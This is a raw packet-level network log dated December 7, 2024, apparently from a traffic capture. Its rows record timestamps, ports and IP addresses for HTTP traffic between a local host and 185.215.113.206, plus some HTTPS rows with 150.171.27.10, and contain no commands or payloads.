Dec 7, 2024 00:15:52.390347958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.390501976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.390887022 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.391074896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.391082048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.391189098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.391846895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.391956091 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.391987085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.392105103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.392961025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.393070936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.393111944 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.393240929 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.393903971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.394015074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.394289970 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.394835949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.394942045 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.394967079 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.395840883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.396094084 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.396119118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.396272898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.396822929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.396929979 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.396958113 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.397769928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.397871017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.397990942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.398017883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.398838043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.398925066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.398951054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.399044991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.399844885 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.399930954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.400268078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.400815010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.400914907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.400969982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.400969982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.401793957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.401917934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.401937008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.402031898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.402764082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.402884960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.402890921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.403044939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.403769016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.403919935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.403949976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.404772997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.404882908 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.404911041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.405172110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.405765057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.405875921 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.406011105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.406783104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.406955957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.407083988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.407879114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.407975912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.408058882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.408732891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.408838034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.408866882 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.409737110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.409763098 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.409823895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.409846067 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.410074949 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.410742998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.410887957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.410909891 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.410984039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.411729097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.411845922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.411967039 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.412734032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.412853003 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.413064003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.413790941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.413985968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.414005995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.414076090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.414727926 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.414824009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.414825916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.414904118 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.415730953 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.415812969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.415854931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.416019917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.416699886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.416850090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.416881084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.417716980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.417741060 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.417807102 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.417831898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.418107986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.418623924 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.418648958 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.418739080 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.418739080 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.418747902 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.418777943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.418801069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.418845892 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.418853998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.419684887 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.419742107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.419795036 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.419966936 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.420681000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.420794010 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.420881987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.420881987 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.421674013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.421787024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.422094107 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.422696114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.422776937 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.423070908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.423799038 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.423810959 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.423892975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.424639940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.424709082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.424750090 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.424838066 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.425645113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.425771952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.425827980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.426666021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.426811934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.426811934 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.426927090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.427673101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.427757978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.427793980 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.428282976 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.428790092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.428802013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.428858042 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.429629087 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.429678917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.429727077 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.429831982 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.430654049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.430741072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.430763960 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.430896044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.431618929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.431725025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.431982040 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.432601929 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.432712078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.432775021 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.433311939 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.433842897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.433852911 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.434436083 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.434679985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.434782982 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.434802055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.434896946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.435578108 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.435668945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.435688972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.435750008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.436599016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.436652899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.436712980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.437004089 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.437606096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.437695026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.437727928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.437854052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.438642025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.438765049 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.438932896 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.438996077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.439590931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.439683914 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.439702988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.439728975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.440574884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.440680981 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.440687895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.440773964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.441551924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.441632986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.453588009 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.453613997 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.453768969 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.453797102 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.457670927 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.468364954 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.468384027 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.468487024 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.468493938 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.468583107 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.479815960 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.479835033 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.479999065 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.480005980 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.480106115 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.483627081 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.483645916 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.483731985 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.483745098 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.484076023 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.489326000 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.489341021 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.489492893 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.489499092 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.489643097 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.499886990 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.499907970 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.500015974 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.500015974 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.500021935 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.500066042 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.509702921 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.509723902 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.509917974 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.509923935 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.510015011 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.520315886 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.520337105 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.520421982 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.520426989 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.520488977 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.530771971 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.530791044 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.530883074 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.530883074 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.530888081 CET	443	49847	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.531013966 CET	49847	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.568011045 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.568084002 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.568156004 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.568169117 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.568232059 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.568232059 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.581732035 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.581868887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.581892014 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.581971884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.581994057 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.582026005 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.582118034 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.582586050 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.582981110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.583093882 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.583117008 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.583189964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.583972931 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.584024906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.584060907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.584105968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.584927082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.584985018 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.585129023 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.585236073 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.585963964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.586040974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.586072922 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.586118937 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.586951971 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.587106943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.587121010 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.587308884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.588041067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.588090897 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.588110924 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.588160992 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.588162899 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.588171959 CET	443	49848	150.171.27.10	192.168.2.6
Dec 7, 2024 00:15:52.588217974 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.588217974 CET	49848	443	192.168.2.6	150.171.27.10
Dec 7, 2024 00:15:52.588362932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.588519096 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.588941097 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.589011908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.589044094 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.589147091 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.589952946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.590091944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.590186119 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.591007948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.591087103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.591119051 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.591711044 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.591938972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.591996908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.592050076 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.592153072 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.592968941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.593061924 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.593101978 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.593311071 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.593977928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.594069004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.594074011 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.594291925 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.594918013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.595098019 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.595181942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.595900059 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.595952988 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.596010923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.596388102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.596884012 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.596988916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.597040892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.597040892 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.597912073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.598011017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.598112106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.598886013 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.599010944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.599095106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.599878073 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.599981070 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.600009918 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.600472927 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.600874901 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.600955009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.600965977 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.601033926 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.601866007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.601972103 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.602087021 CET	49823	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:52.602849960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:52.602905035 CET	49823	80	192.168.2.6	185.215.113.206
